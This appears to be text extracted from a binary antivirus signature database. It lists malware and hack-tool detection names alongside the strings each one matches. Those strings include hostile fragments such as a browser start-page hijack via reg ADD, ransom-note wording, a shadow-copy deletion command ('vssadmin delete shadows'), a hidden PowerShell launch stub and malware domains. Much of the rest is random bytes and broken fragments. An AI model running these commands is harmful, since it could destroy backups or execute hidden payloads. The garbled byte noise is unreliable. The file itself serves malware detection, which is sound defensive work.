\"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /t REG_SZ /d http://www.egy8.com reg ADD \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /t 
REG_SZ /d http://www.egy8.comx !#ALF:Trojan:MSIL/AgentTesla.BLH!MTB ClassLibrary.Jmcagvp.Data .Load. .Load.x !#ALF:PSW:MSIL/Disstl.BAD!MTB bdlevel\\egarotS lacoL\\btpdrocsid 
bdlevel\\egarotS lacoL\\yranacdrocsid Reverse_Token_Grabber_Source ([A-Za-z0-9_\\./\\\\-]*) RemoveAccessRule WebHook DownloadStringx !#ALF:Trojan:Win64/IcedId.SIBG!MTB 
!#HSTR:Obfuscator.OffsetsToLocals.A !#FakeCert!MEUSCA21 =L D_XO !#FakeCert!MEUSCA23 An i_ L~FPj !#ALFPER:Win32/Foniad!domain enclosely.info maraukog.info suggedin.info 
insupposity.info efishedo.info aclassigned.info acinster.infox !#ALF:Trojan:Win32/AgentCrypt.SN!MTB !#ALF:Trojan:Win32/Zbot.RSD!MTB  T2w[X \\eiolohon  otify\\ rolxet001\\ ervices\\Xhar ccess\\ 
nacled: me.uknet !#ALF:Exploit:Win32/Chessila.A!dha Failed to allocate memory at address 0xffffffff, please try again NtDCompositionCreateSynchronizationObject SeSetAccessStateGenericMapping 
NtQuerySystemInformation error Inappropriate Operating System Inappropriate Operating Systemx TestSecurity.dll ITS Secure Browser.exe Software\\VB and VBA Program 
Settings\\ITSSecureApps\\Configuration C:\\Program Files\\ITS\\Exam Files C:\\Program Files\\ITS\\Exam Filesx !#TEL:Trojan:Win32/Trogbot.C!dha \t!#TEL:Trojan:Win32/Trogbot.C!dha {324D8268-
635E-4c4b-A99F-461C9F4FD377} holds data in an electromagnetic form STConfig STData strunlib.dll %sloop: %d min %sproxy %d: %s:%d <transferTempletToSummary> <RequestNativeBrowser> 
<RequestNativeBrowser>x !#ALF:Worm:Win32/Autorun.RG @icon @drv. @exeh -= The Porn Collection =- open=icondrv.exe shell\\Autoplay\\command=icondrv.exe 
\"shell\\Autoplay\\command=icondrv.exe SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon 5SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogonx 
!#HSTR:Trojan:MSIL/AgentTesla.SSMZ!MTB \t\t\t!#HSTR:Trojan:MSIL/AgentTesla.SSMZ!MTB Fc3D8Mib9dDb6T ORO510faSf6T54d P96ro24768de Hdh49kencpbxzc Y711G9J921Zlb7d 
Trump2026Trump2026 Trump2026Trump2026x !#SLFPER:Win32/Myrddin.C \t\t\t!#SLFPER:Win32/Myrddin.C /Ne0nd0g/merlin/ /pkg/messages.init /exec/exec_windows.go 
/pkg/messages.AgentControl /pkg/messages.CmdPayload /pkg/agent.ExecuteCommand /agent/agent_windows.go /merlinagent/main.go mattn/go-shellwords mattn/go-shellwordsx 
!#ALF:Backdoor:MSIL/GhostRat.GA!MTB \t\t f-secure.exe Mcshield.exe Sunbelt baiduSafeTray.exe {4D36E972-E325-11CE-BFC1-08002BE10318} [WIN] [Print Screen] Shellex %s\\%d.bak 
%s\\%d.bakx !#ALF:Trojan:MSIL/AgentTesla.BBF!MTB    StartTests RefRegModel ClassLibrary1 ClassLibrary1StartTests 77*90*144*0*3* 
*33*0*0*0*5*0*0*0*73*0*0*0*56*28*0*0*0*2*3*40*2*0*0*6*32*0 AssemblyResolvex !#HSTR:Trojan:MSIL/AgentTesla.VI22!MTB _ aiiD39x/oTfKXhd/dkA41iBiQ6YtYGdk asmndbnmdb VerifyDetails 
VerifyDetailsx !#FakeCert!MEUSCA22 sP_i^ !#ALF:HSTR:VirTool:MSIL/GeneralPacker.S0F CreateObject(\"WScript.Shell\").run strs,0,false = 
\"%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\installutil /logtoconsole=false /logfile= /u \" & Chrw( ) & \"%path%\" & Chrw( !#ALF:TrojanDownloader:Win64/IcedId.SIBB!MTB 
!#HSTR:Trojan:Win32/Mapstosteal PCOM.DLL NewPatcher.exe SOFTWARE\\Wizet\\MapleStory LoginGAME \tLoginGAME MapleStory.exe MapleStoryGlobal :: MapleStory - Microsoft Internet 
Explorer <MapleStoryGlobal :: MapleStory - Microsoft Internet Explorer ?WzSoap_ConsultDelete@ D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdb D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdbx 
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Explorer <MapleStoryGlobal :: MapleStory - Microsoft Internet Explorer ?WzSoap_ConsultDelete@ D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdb D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdbx 
http://zsnews.zhongsou.com/zsnews.cgi?tps=3&agent=%s&word= %s %s hcnet3_running %s %sopenrhcnet3_runningiexplore.exe IEXPLORE.EXE http\\shell\\open\\commandIEXPLORE.EXE 
ForceRemove {594BE7B2-23B0-4FAE-A2B9-0C21CC1417CE} = s 'Search Class' ForceRemove {594BE7B2-23B0-4FAE-A2B9-0C21CC1417CE} = s 'Search Class'x 
!#ALF:Trojan:MSIL/Tnega.RM!MTB $4ab3b95d-373c-4197-8ee3-fe0fa66ca122 Rhttps://s1.ax1x.com/2020/04/28/J4Zp9S.png Loader.Loader DebuggerInactive DebuggerInactivex 
!#ALF:Trojan:Win32/WebDial.SM!MSR Software\\Webdialer WebDialer -   Reg.N: Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Webdialer -  http://www.redirserver.com/update4.cfm?
tid=&cn_id= http://www.redirserver.com/update4.cfm?tid=&cn_id=x !#SLF:Trojan:Win32/Shmusho.C!dha Operation_Global_Code_tag /tmp/devlog/orbit/keyring/ send sms from %s imsi:%s to %s 
/ts_123040v040200p.pdf nono%s_%04d%02d%02d.csv tcap parse continue originating transaction id tag fail libpcap.so.1 libpcap.so.1x !#TEL:Trojan:Win32/GreenSprog.A botid=%s sysinfo=/api/pop --
-------------------------287055381131322 Content-Disposition: form-data; name=\"uploaded\"; filename=\" Content-Disposition: form-data; name=\"botid\" /api/pop?botid= output=%s& output=%s&x 
!#ALF:HackTool:Win64/Kerdu.A CVE-2015-2291 EneTechIo64 KDUControlProcess KDUProvList PROCEXP152 -rport tcpip.sys tcpip.sysx !#ALF:Ransom:MSIL/FileCryptor.AB!MTB do not try to 
rename encrypted files Your computer is infected with a virus. ALL YOUR FILES ARE ENCRYPTED /C choice /C Y /N /D Y /T 1 & Del .info.hta SPI_SETDESKWALLPAPER fileEncryptionrc4 
fileEncryptionrc4x !#TEL:Trojan:Win32/RedJetsam.A!dha \\Red2\\MiddleMan\\Bin\\ MiddleMan.exe 77393C65-EEBB-43B3-8793-19CF95413977 passMe Middle.ini startup database module error. Del 
user [%s] %s. Reuse V2 implicit activation dosen't support NT 6.0+ os Reuse V2 implicit activation dosen't support NT 6.0+ osx !#HSTR:Trojan:MSIL/AgentTesla.OXFJ!MTB    sadada 
MessageSurrogateFilter RC2Decrypt IKMNJIUHBVGYTCVXRDEF SelectorX SelectorXx !#AllowList:ConsoleApplication C:\\Users\\jselbie\\source\\repos\\ConsoleApplication 
\\Debug\\ConsoleApplication PDBOpenValidate SOFTWARE\\Wow6432Node\\Microsoft\\VisualStudio\\ \\Setup\\VC !#ALF:Ransom:Win32/MegaCortex.A!MTB Man is the master of everything and 
decides everything If you are reading this text, it means, we've hacked your corporate network. vssadmin delete shadows /all /for= !!!_READ-ME_!!!.txtx !#ALF:Trojan:Win32/Zbot.SIBZ!MTB 
PQYXXPQYX APQYX_N WPQYX !#FakeCert!METPPCA2019 !#HSTR:VirTool:Win32/DelfInject.AL jjjhP FileNameAtual  PERSIST   shell_traywnd  !#ALF:Hacktool:Win32/Skynetter.A!dha 
GetGmailSeletionHtml Yahoo Error Email Code Page Hotmail Error Obfuscation Page Truncate table IpsForbidx !#HSTR:Delphi_Decoder \"!#SCRIPT:Trojan:JS/Kilim!FB_Script 
'9\"!#SCRIPT:Trojan:JS/Kilim!FB_Script *!#SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1 '9*!#SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1 *!#SCPT:TrojanDownloader:VBS/Obfuse.RA1!MTB 
'9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA1!MTB *!#SCPT:TrojanDownloader:VBS/Obfuse.RA2!MTB '9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA2!MTB 
*!#SCPT:TrojanDownloader:VBS/Obfuse.RA3!MTB '9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA3!MTB *!#SLF:HackTool:PowerShell/Macroburst.X!MTB 
'9*!#SLF:HackTool:PowerShell/Macroburst.X!MTB *!#SLF:HackTool:PowerShell/Macroburst.Y!MTB '9*!#SLF:HackTool:PowerShell/Macroburst.Y!MTB !#TEL:HTML/TechBrolo!redir 
#!#ALF:SCPT:Worm:VBS/Jenxcus!Crypt50 ':#!#ALF:SCPT:Worm:VBS/Jenxcus!Crypt50 $=>:x; !#SCRIPT:JS/Obfuscator.HF.2 !#SCRIPT:PowerShell/Hizak.A !#SCPT:Worm:VBS/Jenxcus!Crypt28 
#!#SCRIPT:Exploit:Win32/Pdfjsc.AJQ.2 4 wt':#!#SCRIPT:Exploit:Win32/Pdfjsc.AJQ.2 #!#SCRIPT:Trojan:JS/Bepush!FB_Script ':#!#SCRIPT:Trojan:JS/Bepush!FB_Script 
':#!#SLF:PowerShell/Ploty.gen.D!MainPS '!#SCPT:TrojanDownloader:JS/Nemucod.BK!B ':'!#SCPT:TrojanDownloader:JS/Nemucod.BK!B '!#SCPT:TrojanDownloader:JS/Nemucod.CM!A 
':'!#SCPT:TrojanDownloader:JS/Nemucod.CM!A /!#SharedFragmentReplaceInFuncInFuncEncJSNemucod @':/!#SharedFragmentReplaceInFuncInFuncEncJSNemucod 
+!#TEL:SCPT:LowFi:Exploit:JS/Wagplat_lowfi_1 ':+!#TEL:SCPT:LowFi:Exploit:JS/Wagplat_lowfi_1 +!#TEL:SCRIPT:TrojanDownloader:JS/Nemucod.SB 
':+!#TEL:SCRIPT:TrojanDownloader:JS/Nemucod.SB $!#ALF:TrojanDownloader:VBS/DMALocker ';$!#ALF:TrojanDownloader:VBS/DMALocker 0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S001 
';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S001 .i 8Z 0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S002 ';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S002 
0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S003 ';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S003 !#SCRIPT:PowerShell/DmnFoz.A !#SCRIPT:PowerShell/KepSez.A 
!#SLF:PowerShell/PoshC2!func ,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_1 ';,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_1 ,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_2 
';,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_2 !#SCPT:Exploit:JS/Axpergle.AI !#SCPT:Exploit:JS/Axpergle.BA !#SCPT:Exploit:JS/Axpergle.BH !#SCPT:Exploit:JS/Axpergle.BL 
!#SCPT:Exploit:JS/Axpergle.BN !#SCRIPT:PowerShell/FindFruit !#SCRIPT:PowerShell/Octopus.A !#SCRIPT:PowerShell/PowerView !#SCRIPT:PowerShell/SozProz.A 
'<%!#SCRIPTLOWFI:Trojan:PHP/Redirector.H !#ALF:PowerShell/GetBrowzer.A1 &!#ALF:Backdoor:PowerShell/Webrev.A!dha '=&!#ALF:Backdoor:PowerShell/Webrev.A!dha 
!#SCRIPT:PowerShell/PrivzChk.B &!#TEL:TrojanDownloader:VBS/Betisrypt.A '=&!#TEL:TrojanDownloader:VBS/Betisrypt.A !#ALF:DotNetMeterpreter MO@J V !#ALF:SCPT:VBS/Crypt.32 
!#ALF:SCPT:VBS/Crypt.34 6xvJ-uM /!#ALF:HackTool:PowerShell/AADInternalsPSM.A!MTB '>/!#ALF:HackTool:PowerShell/AADInternalsPSM.A!MTB 
/!#ALF:HackTool:PowerShell/AADSyncSettings.A!MTB '>/!#ALF:HackTool:PowerShell/AADSyncSettings.A!MTB /!#ALF:SCPT:TrojanDownloader:Win32/Mekotio.B!bit 
'>/!#ALF:SCPT:TrojanDownloader:Win32/Mekotio.B!bit !#SCPT:Worm:VBS/Jenxcus!Crypt22 !#SCRIPT:PowerShell/Viewdevobfs '? !#ALF:Trojan:PowerShell/Winpin.A 
(!#ALF:Trojan:PowerShell/MSAppProxy.A!MTB '?(!#ALF:Trojan:PowerShell/MSAppProxy.A!MTB  !#SCRIPT:PowerShell/Ezchi.A1!MTB '? !#SCRIPT:PowerShell/Ezchi.A1!MTB 
0!#SCPT:TrojanDownloader:PowerShell/Bartallex_gen '?0!#SCPT:TrojanDownloader:PowerShell/Bartallex_gen )!#SCRIPT:Powershell/DomainPasswordSpray.A 
'@)!#SCRIPT:Powershell/DomainPasswordSpray.A 1!#TEL:SCPT:TrojanDownloader:JS/PossibleNeutrinoEK '@1!#TEL:SCPT:TrojanDownloader:JS/PossibleNeutrinoEK 
*!#ALF:Trojan:PowerShell/ReverseShell.A!MTB 'A*!#ALF:Trojan:PowerShell/ReverseShell.A!MTB !#TEL:HTML/TechBrolo!Popup +!#ALF:SCPT:TrojanDownloader:VBS/Adodb.W!bit 
'B+!#ALF:SCPT:TrojanDownloader:VBS/Adodb.W!bit !#SCRIPT:JS/Ploty.A }o9Z{ $!#ALF:HackTool:PowerShell/ADFS.A!MTB 'C$!#ALF:HackTool:PowerShell/ADFS.A!MTB 
(!#ALF:Backdoor:PowerShell/Goodabox.A!dha 'C(!#ALF:Backdoor:PowerShell/Goodabox.A!dha l(Ue8 (!#ALF:TrojanDownloader:VBS/REntS.SIB!MTB 
RH'C(!#ALF:TrojanDownloader:VBS/REntS.SIB!MTB ,!#ALF:HackTool:PowerShell/ProcessTools.A!MTB 'C,!#ALF:HackTool:PowerShell/ProcessTools.A!MTB %!#ALF:HackTool:PowerShell/Noterally.A 
'D%!#ALF:HackTool:PowerShell/Noterally.A )!#ALF:TrojanDownloader:VBS/REntS.SIBA!MTB 'D)!#ALF:TrojanDownloader:VBS/REntS.SIBA!MTB !#SCRIPT:PowerShell/Poshspy.A vc}F50 
%!#SCPT:JS/Nemucod_TryAndReturnWscript 'D%!#SCPT:JS/Nemucod_TryAndReturnWscript &!#ALF:Trojan:PowerShell/OneDrive.A!MTB 'E&!#ALF:Trojan:PowerShell/OneDrive.A!MTB 
!#SLF:PowerShell/PoshC2.B.func oq%e_ !#SLF:PowerShell/PoshC2 %QS]. !#SCPT:VBS/JenxcusAnsiToString4 !#SCPT:Worm:VBS/Jenxcus!Crypt17 )!#ALF:HackTool:PowerShell/Namedpipe.A!MTB 
'H)!#ALF:HackTool:PowerShell/Namedpipe.A!MTB )!#ALF:SCPT:TrojanDownloader:VBS/Banload!1 'H)!#ALF:SCPT:TrojanDownloader:VBS/Banload!1 )!#ALF:SCPT:TrojanDownloader:VBS/Banload!2 
'H)!#ALF:SCPT:TrojanDownloader:VBS/Banload!2 !#SCPT:Exploit:JS/Astsan.A *!#TEL:SCRIPT:TrojanDownloader:VBS/Vibrio.J 'I*!#TEL:SCRIPT:TrojanDownloader:VBS/Vibrio.J 
'J#!#SCRIPT:PowerShell/Mimikatz!MainPS $!#ALF:Trojan:PowerShell/Holmes.A!MTB 'K$!#ALF:Trojan:PowerShell/Holmes.A!MTB (!#ALF:TrojanDownloader:VBS/SLoad.SIB!MTB 
'K(!#ALF:TrojanDownloader:VBS/SLoad.SIB!MTB !#SCRIPT:PowerShell/Gwiper.A $!#SCRIPT:PowerShell/Mecheck.A!MainPS 'K$!#SCRIPT:PowerShell/Mecheck.A!MainPS P}=P~ 
%!#ALF:Trojan:PowerShell/Gropers.A!MTB 'L%!#ALF:Trojan:PowerShell/Gropers.A!MTB !#SCRIPT:PowerShell/LyncSez.A &!#ALF:VirTool:PowerShell/Gopherz.A!MTB 
'M&!#ALF:VirTool:PowerShell/Gopherz.A!MTB .!#ALF:Trojan:PowerShell/MSAppProxy_utils.A!MTB 'M.!#ALF:Trojan:PowerShell/MSAppProxy_utils.A!MTB !#SCRIPT:PowerShell/MFAUtils.A 51PYL Yg 
8T( !#SLF:HackTool:Python/Pypykatz (!#ALF:HackTool:PowerShell/PrixChkz.A!MTB 'O(!#ALF:HackTool:PowerShell/PrixChkz.A!MTB 0!#ALF:Trojan:PowerShell/MFAProvisioningAPI.A!MTB 
'O0!#ALF:Trojan:PowerShell/MFAProvisioningAPI.A!MTB  !#SLF:PowerShell/PoshC2!Internal 'O !#SLF:PowerShell/PoshC2!Internal !!#ALF:Trojan:PowerShell/MDM.A!MTB 
'P!!#ALF:Trojan:PowerShell/MDM.A!MTB ^_u<? !!#SCPT:Worm:VBS/Jenxcus!Crypt32.1 'P!!#SCPT:Worm:VBS/Jenxcus!Crypt32.1 *!#ALF:Trojan:PowerShell/Vigourfervid.A!MTB 
'Q*!#ALF:Trojan:PowerShell/Vigourfervid.A!MTB 'R#!#SCRIPT:PowerShell/Mimikatz!MainPS '!#SCRIPT:TrojanClicker:JS/Faceliker.L_F 'R'!#SCRIPT:TrojanClicker:JS/Faceliker.L_F 
'!#SCRIPT:TrojanDownloader:HTML/Clodow.B !'R'!#SCRIPT:TrojanDownloader:HTML/Clodow.B Z=INjK 'S$!#SCRIPT:PowerShell/Mecheck.A!MainPS )!#ALF:TrojanDownloader:VB/DessertDown!dha 
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+'E0-N\"  Lu-Z ig!b}g cP-W) UPuXW & z?t+a` \"Lj9N 7<\"Cl3I 6us 3r ={^\\6i |zXqcF #1PlYgl `pg[A \"z87< 1(PZVN U8[[aZs  iV(S #&:=9 b-d%Y ]Mb/lh to)>T WB09F O!as7 q(.c> Sm8,@ =mTXci6 !'A ]QA 
d{q$2> ' ;)\" a&TnV QT,IF$c Rxh=$ sfice \"Zs[': sS@%k LGM@C q0Db  t_<~a k~X\th wcM . vV^di@d FI_9J$ elQ6f< kV-7+ GI//lC J-+T6 e}jMDZ[ P: CK oUSeT H(RF^YT@ pfaN0 I_=%i w7<3V q$}et[ 
Yk$-[\tvLQ O,b-H $+MbQy&f sf4N1up ~j*4i= QXDu64W n!N.ITX rJ~5{dS xdH-\td vF Seb @+<-# Ma93B Dv\\u| O~yt: RF}*6a L}SXR9/ u3g&g Pogg& Pogg&g lLEg& lLEg&g uOg&g `!Ll# `!Ll#g ?5g&g 
}p0g& }p0g&g DLaHg A?g&g CN\\)O CN\\)Og S!g&g <;g&g 8S@eg 94)_g @OaZg gb)fg qO\\g& qO\\g&g m~x7g 6 g&g 8cDg& 8cDg&g V1l#g K+g&g 2)g&g r/)6g _=wa< _=wa<g u|g&g *[xpg fleck/ 
\"W\"+\"S\"+  \"W\"+\"S\"+ , \"http\" +   , \"http\" +  !#SCPT:JS/Obfuscator.Radix36.D 2j0y2r2w2p361v332s2t1t380y2l =\"c\", !#SCPT:JS/Obfuscator.CharCode.A [\"charCodeAt\"] /) & 0xff]; 
G\"!#SCPT:JS/Obfuscator.LongVarName.B function  G\"!#SCRIPT:Java/AdwindOddClassName.D _DecryptServer.classPK #!#SCPT:JS/Obfuscator.Capslock.var.A 
G#!#SCPT:JS/Obfuscator.Capslock.var.A var A 0-9A-Z; var B var C G#!#SCPT:JS/Obfuscator.Split.concat.A \"c\"+\"o $!#SCPT:JS/Obfuscator.Spaced.Format.A 
G$!#SCPT:JS/Obfuscator.Spaced.Format.A ) ;    }   }   catch ( G$!#SCPT:JS/Obfuscator.Split.getYear.A getY\"+\"e (!#SCPT:JS/Obfuscator.functions.asindex.A 
G(!#SCPT:JS/Obfuscator.functions.asindex.A 0-9a-z()); (!#SCPT:JS/Obfuscator.functions.asindex.C G(!#SCPT:JS/Obfuscator.functions.asindex.C \"][1][ 0-9]](); \"][2][ \"][3][ \"][4][ \"][5][ \"][6][ \"][7][ \"][8][ 
\"][9][ )!#TrojanDownloader:PowerShell/Ploprolo.K3 G)!#TrojanDownloader:PowerShell/Ploprolo.K3 //:ptth'; G*!#SCPT:Win32/Obfuscator.BASE64.ShellCode.A ///WaACAAABT/3UI /9ZoAIAAAFP/dQj/ 
G,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='Script ] = ' if( ] = '.Run ] = 'Run( ] = '}; } /!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassMainName 
G/!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassMainName  KCS___Main   0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A G0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A 
aXBoZXJCeQ ,MainSection 6AAAAABZSYnISIHBUwQAALpFd2IwSYHA \"6AAAAABZSYnISIHBUwQAALpFd2IwSYHA !#SCPT:VBS/SleepUntilLoop.A  WScript.Sleep( \" )  Loop Until  'Ac' +  !'Ac' +  
('iv' !#SCPT:JS/Obfuscator.Substr.A { return this.substr(0, 1); };  { return this.substr(0, 1); }; powershell -nop -w hidden -c !#Exploit:O97M/DDEDownloader.E1 \\'44\\'44\\'45\\'41\\'55\\'54\\'4f _e_-_-_-- 
@freerunner @freerunner@  !#SCPT:Trojan:Python/Queri.D.EC1 H !#SCPT:Trojan:Python/Queri.D.EC1 #!#SCPT:JS/Obfuscator.Capslock.var.B H#!#SCPT:JS/Obfuscator.Capslock.var.B 0-9A-Z +  
H#!#SCPT:JS/Obfuscator.Split.length.A \"len\") H$!#SCPT:JS/Obfuscator.Split.replace.A re\"+\"p H&!#BRUTE:Exploit:Python/CVE-2017-0143.7 SESSION_SECCTX_OFFSET 
*!#SCPT:VBS/Obfuscator.ChrArrayBASE64Like.A H*!#SCPT:VBS/Obfuscator.ChrArrayBASE64Like.A +chr(61)+chr(61)) H,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='WScript ] = ' catc ] = '} cat 
H-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.C ['' + (' .!#SCPT:PossiblyClean:Andy_Ful.LegalCopyright.A H.!#SCPT:PossiblyClean:Andy_Ful.LegalCopyright.A *  Andy Ful , 
/!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassDataName H/!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassDataName _el_-___--_ !#SCPT:BelmontHE ERROR: Cannot initialize some internal data. 
.ERROR: Cannot initialize some internal data. DO NOT ALTER ANYTHING BELOW THIS LINE ! )DO NOT ALTER ANYTHING BELOW THIS LINE ! !#SCPT:PDF/PDFPhishURI.A /po/index.php) 
&/po/index.php) ar _0x $ar _0x !#ALFPER:PWS:HTML/LotusBlue.A >Welcome to Lotus-Blue Toolkit< !>Welcome to Lotus-Blue Toolkit< !\"GE\" +  , \"http:/\" +   , \"http:/\" +  
!#SCPT:JS/Obfuscator.Radix36.F 1t2r382x3a2t2g272q2y2t2r38140y  1t2r382x3a2t2g272q2y2t2r38140y could not find regexp address.  could not find regexp address. 5E3C5E 51555E 
!#SCPT:JS/Redundancy.Comments.B );}  /*  !#Exploit:Win32/CVE-2015-0097.A3 I !#Exploit:Win32/CVE-2015-0097.A3 <script language=javascript> I!!#SCPT:JS/Obfuscator.Juxtaposed.B 
I!!#SCPT:Java/DOSReservedDevNames.A main/???????????nUL.classPK I!!#SCPT:Java/DOSReservedDevNames.B main/???????????aUX.classPK I!!#SCPT:Java/DOSReservedDevNames.C 
main/???????????CON.classPK I#!#SCPT:JS/Obfuscator.Split.concat.A 'co'+\"n #!#SLFPER:Exploit:HTML/Belmont.M!dha I#!#SLFPER:Exploit:HTML/Belmont.M!dha <script src=\"/sbxjs?main\" 
$!#SCPT:JS/Obfuscator.Split.hex.var.A I$!#SCPT:JS/Obfuscator.Split.hex.var.A $!#SCPT:SWF/ObfuscatorLikesecureSWF.A I$!#SCPT:SWF/ObfuscatorLikesecureSWF.A 
521423132326123423632234 I,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='\"WScript .!#SCPT:JS/Obfuscator.Enc.Xorbyte.hex.ActiveX.A I.!#SCPT:JS/Obfuscator.Enc.Xorbyte.hex.ActiveX.A 
00223528372419 01233429362518 0220372a35261b 0321362b34271a 0426312c33201d 0527302d32211c 0624332e31221f 0725322f30231e 082a3d203f2c11 092b3c213e2d10 0a283f223d2e13 
0b293e233c2f12 0c2e39243b2815 0d2f38253a2914 0e2c3b26392a17 0f2d3a27382b16 10322538273409 11332439263508 1230273a25360b 1331263b24370a 1436213c23300d 1537203d22310c 
1634233e21320f 1735223f20330e 183a2d302f3c01 193b2c312e3d00 1a382f322d3e03 1b392e332c3f02 1c3e29342b3805 1d3f28352a3904 1e3c2b36293a07 1f3d2a37283b06 20021508170439 
21031409160538 2200170a15063b 2301160b14073a 2406110c13003d 2507100d12013c 2604130e11023f 2705120f10033e 280a1d001f0c31 290b1c011e0d30 2a081f021d0e33 2b091e031c0f32 
2c0e19041b0835 2d0f18051a0934 2e0c1b06190a37 2f0d1a07180b36 30120518071429 31130419061528 3210071a05162b 3311061b04172a 3416011c03102d 3517001d02112c 3614031e01122f 
3715021f00132e 381a0d100f1c21 391b0c110e1d20 3a180f120d1e23 3b190e130c1f22 3c1e09140b1825 3d1f08150a1924 3e1c0b16091a27 3f1d0a17081b26 40627568776459 4260776a75665b 
4361766b74675a 4466716c73605d 4567706d72615c 4664736e71625f 4765726f70635e 486a7d607f6c51 496b7c617e6d50 4a687f627d6e53 4b697e637c6f52 4c6e79647b6855 4d6f78657a6954 
4e6c7b66796a57 4f6d7a67786b56 50726578677449 51736479667548 5270677a65764b 5371667b64774a 5476617c63704d 5577607d62714c 5674637e61724f 5775627f60734e 587a6d706f7c41 
597b6c716e7d40 5a786f726d7e43 5b796e736c7f42 5c7e69746b7845 5d7f68756a7944 5e7c6b76697a47 5f7d6a77687b46 60425548574479 61435449564578 6240574a55467b 6341564b54477a 
6446514c53407d 6547504d52417c 6644534e51427f 6745524f50437e 684a5d405f4c71 694b5c415e4d70 6a485f425d4e73 6b495e435c4f72 6c4e59445b4875 6d4f58455a4974 6e4c5b46594a77 
6f4d5a47584b76 70524558475469 71534459465568 7250475a45566b 7351465b44576a 7456415c43506d 7557405d42516c 7654435e41526f 7755425f40536e 785a4d504f5c61 795b4c514e5d60 
7a584f524d5e63 7b594e534c5f62 7c5e49544b5865 7d5f48554a5964 7e5c4b56495a67 7f5d4a57485b66 I0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A aUNpcGhlckJ5 
!#BRUTE:JarFileObfuscated.A Obfuscation by Allatori Obfuscator $Obfuscation by Allatori Obfuscator !#Exploit:SWF/Korpode.A.frag2 DRMOperationCompleteListener 
\"DRMOperationCompleteListener !#SCPT:Backdoor:Win32/Plugx_L !#SCPT:HTML/Phish.ElementId.A .getElementById(\"homescreen147\") \".getElementById(\"homescreen147\") = [   \"= [    ',   + \"E\" 
+  \"+ \"E\" +   !#SCPT:JS/Obfuscator.LongName J !#SCPT:JS/Obfuscator.LongName g V5c E= AP c(mUOC [N>[:m y UBr 5y&'; @v)9FwZ e*O[. Q[PE& s )p) K1@rI 08PLd :Qj_rk DKqrc 0b[NXy <0eG% 
7WZ]bT AtSbA !|)kI 7[f8&e _h>= u uC lpK|l QN/%L~ [\"V_b1 \\6/pt A@6?g i:Nl, oX'UGY zXO@Q XS,KOv \"?f^j o$&uz= z}Gj`M y3| hT Ik3qA 8?7~6 mC;ec D}~{Z *9Ecw M'$`P! bO< W1L| \"`k(& e$('\t 
cL=6 8DQ<s %?2 {& 6H'p@ 8@`U5 m$hu2z \"FH R 6\t@vR} MMC|U w. r%,Gc )J@}= :Tojd _$\t/~ +6;'*) ygWa. .1Uv< y2uX;V \"P ml* j{jhfd ZV[PA P4 !\"'[  ytR# s\"Rsh3> l9KWo% dda/]Z mb-nIT 
ur^RpmT TVm=5 ?IN2I *e+*y  BXINy @ JpB \"+tSIl FHdt4 'BqBc \"W9o2 QAvpH TLm+Qt ~2WkFO p>j'2 ]H+e5 (UMZ~ Sy'9C /ML9 PiS\\H F01R /OiFu  <T\tk dnxF1 gNF%r( N&'H~ ymrV, {>dEj`0 1Lji\t 
W\"QBp bk3D h RXMYo a@I)| r6@c, e=3(O |]B1y:A_^3* f00''K 2.+}Y ]`_&B R!]f/ 6Y/B\" 3n_`{ nT0fE rB F \tRyf+K y(KKr a+6D 3R  l0y u|rs9I \"Z@'rK( A;|9> ^V4NY :9\"R, q|2?% <v%R;H qzgQi+ T8a4h; &
<-*u{ 8lPux y/w[7 !Agent.S !Agent.VZ !Bagle.MK !Bagle.ML !Bagle.MM !Bagle.MN  d]VT] 5Bagle.MO 5Bagle.MP !Tibser.N !Agent.ABT !Lager.AD !Small.YN !Agent.ABU !Ldpinch.TX WX6{I! !Small.YU 
!Small.SA !Goldun.BO !Goldun.EP !Small.SX 5Bagle.MQ !Bagle.MR 5Bagle.MR 5Bagle.MS !Bagle.MS 5Bagle.MT 5Bagle.MU !Small.SW !Harnig.BN !Harnig.BO !Harnig.BP !Harnig.BQ !Harnig.BR 
!Small.SU !Small.SV !Tibs.E !Harnig.BS !Harnig.BT !Small.AGS !Agent.DS !Agent.DT 5Agent.DU 5Agent.DW !Harnig.BU !Harnig.BW !Harnig.BV !Lowzones.GO !Agent.WA !Agent.WB !Ldpinch.TY 
!Agent.WC !Agent.WD !WinShow.gen!A !WinShow.gen!B !WinShow.gen!C !WinShow.gen!D !WinShow.gen!E !Small.XD !Agent.FE !WinShow.gen!F !WinShow.gen!G Killav for%%xin( Hfor%%xin( 
